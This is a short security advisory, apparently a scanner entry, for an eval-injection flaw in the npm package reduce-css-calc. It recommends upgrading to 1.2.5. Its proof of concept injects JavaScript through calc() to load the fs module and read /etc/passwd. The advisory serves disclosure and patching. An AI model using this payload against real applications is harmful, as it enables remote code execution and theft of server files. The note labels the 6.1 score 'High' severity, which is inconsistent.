QID 983859

QID 983859: Nodejs (npm) Security Update for reduce-css-calc (GHSA-4662-j96g-mv46)

Affected versions of `reduce-css-calc` pass input directly to `eval`. If user input is passed into the calc function, this may result in cross-site scripting on the browser, or remote code execution on the server. ## Proof of Concept ``` const reduceCSSCalc = require('reduce-css-calc'); console.log(reduceCSSCalc(`calc( (Buffer(10000)))`)); console.log(reduceCSSCalc(`calc( (global['fs'] = require('fs')))`)); console.log(reduceCSSCalc(`calc( (fs['readFileSync']("/etc/passwd", "utf-8")))`)); ``` ## Recommendation Update to version 1.2.5 or later.

Successful exploitation of this vulnerability may affect the confidentiality, integrity, and availability of the targeted user.

CVSS V3 rated as High - 6.1 severity.
